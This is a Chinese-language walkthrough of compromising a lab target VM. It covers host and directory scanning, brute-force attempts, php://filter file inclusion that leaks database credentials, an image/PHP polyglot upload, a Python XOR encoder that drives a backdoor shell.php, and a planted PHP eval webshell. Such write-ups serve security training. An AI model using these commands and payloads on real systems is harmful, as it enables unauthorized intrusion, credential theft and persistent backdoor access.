先用arpscan扫描存活主机
arp-scan -l

用nmap扫描服务

发现有三个服务 80,111,3306
进入网站发现有home,login,upload三个模块,upload里显示要先登录
login模块输入账号密码,burp抓包,intruder模块爆破失败

把账号添加payload用万能密码字典爆破,爆破失败

复制数据包后用sqlmap跑也没跑出来
sqlmap -r "bac.txt" --batch

试xss也不行
用hydra尝试暴mysql也没爆出来
hydra -L 小user.txt -P 小pass.txt -f mysql://192.168.32.142
还发现这样做mysql服务会出现错误

用gobuster扫描目录
gobuster dir -u http://192.168.32.142/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt,js,json -t 50

发现访问shell.php和config.php里面没有内容
访问/upload可以直接看到上传文件目录下的内容
/login.php是登录页面,但是发现跟在主页的登录页面位置不一样
发现主页登录页面是http://192.168.32.142/?page=login
尝试看有没有文件包含漏洞
http://192.168.32.142/?page=../../../../etc/passwd
http://192.168.32.142/?page=../../../etc/passwd 等等发现没用
尝试远程文件包含也不行

然后去搜111端口有没有什么漏洞,看到服务什么的开启了,发现在msf里面有个模块但是是用来dos的,拿不了shell之类的没试有没有用

后面用文件包含伪协议file://试了没用
http://192.168.32.142/index.php?page=file:///etc/passwd

换php://filter也不显示
http://192.168.32.142/index.php?page=php://filter/read=convert.base64-encode/resource=index.php

换php://input也不显示

后面发现目录扫描扫出来的文件明明是login.php,upload.php,但是page里的参数只填login就能显示登录页面,但是添加.php反而不会显示登录页面,不知道是怎么回事
http://192.168.32.142/?page=login
http://192.168.32.142/?page=login.php
然后试着把php://filter伪协议里的.php试一下
http://192.168.32.142/index.php?page=php://filter/read=convert.base64-encode/resource=login
成功得到base64编码后的数据,丢到工具里解码

发现代码里开头就会引入数据库文件

http://192.168.32.142/index.php?page=php://filter/read=convert.base64-encode/resource=config
查看他config里面的内容,解码发现包含数据库用户密码,数据库名

尝试登录mysql,发现登录失败,一开始还以为是密码加密了,后面发现不是密码加密了,是最开始的时候因为用hydra暴数据库的时候导致mysql服务错误,重启靶机之后就可以登录进去了
mysql -h 192.168.32.142 -P 3306 -uroot -p
因为配置文件里已经告诉了数据库,直接进数据库看表里的信息

在users表里找到三个用户信息

先直接登录,登录不了,base64解密之后,可以登录进去
登录进去之后发现可以上传文件了
上传普通一句话木马有限制
查看upload.php的源码


发现有严格限制,验证mime,白名单后缀是
正好这里也有文件包含想到的就是上传文件马然后用文件包含
php里面写<?php phpinfo();?>先试一下有没有用
copy 000.jpg/b + phpinfo.php/a phpinfo.jpg
上传上去了但是和前面一样,不会返回内容
http://192.168.32.142/index.php?page=images/b5f7a062d84869fe4f3af35b79fca50c.jpg

用php://filter也不会显示内容
查看shell.php内容,发现可能存在一个命令执行的漏洞

尝试按照对应要求编码后上传post数据,发现不会返回数据


在burp抓包添加post发现可以添加,好像是直接上传有些会被编码
给加密的代码加了个循环,方便后面输入其他的命令加密
import base64
def encrypt_php_code(php_code):
# 对应PHP中的密钥
key = "e45e329feb5d925b"
# 初始化加密后的字节数组
encrypted = bytearray()
# 对每个字节进行异或加密
for i in range(len(php_code)):
# 对应PHP中的 i+1&15 索引计算
key_idx = (i + 1) & 15
# 执行异或操作并添加到加密结果中
encrypted.append(ord(php_code[i]) ^ ord(key[key_idx]))
# 进行Base64编码
encrypted_base64 = base64.b64encode(encrypted).decode()
return encrypted_base64
for i in range(1,100):
php_code = input("输入")
encrypted_result = encrypt_php_code(php_code)
print("加密后的结果:",encrypted_result)



尝试nc反弹 没用,收集一下服务器相关信息
echo getcwd(); /var/www/html
system("ls -la");
先查看一下目录所在位置和下面文件
用file_put_contents("w.php", "<?php eval(\$_POST[\'x\']); ?>");在目录下生成一句话木马
再次查看一下,发现成功上传

用蚁剑连接发现连接不上
system("cat w.php");

发现shell.php里面是eval()里面没带单引号,但是前面输file_put_contents("w.php", "<?php eval(\$_POST[\'x\']); ?>");的时候以为有单引号然后添加了\去转义,看文件里面$前面还是得加\转义
file_put_contents("a.php", "<?php eval(\$_POST['x']); ?>");
上传成功,能成功用蚁剑连上
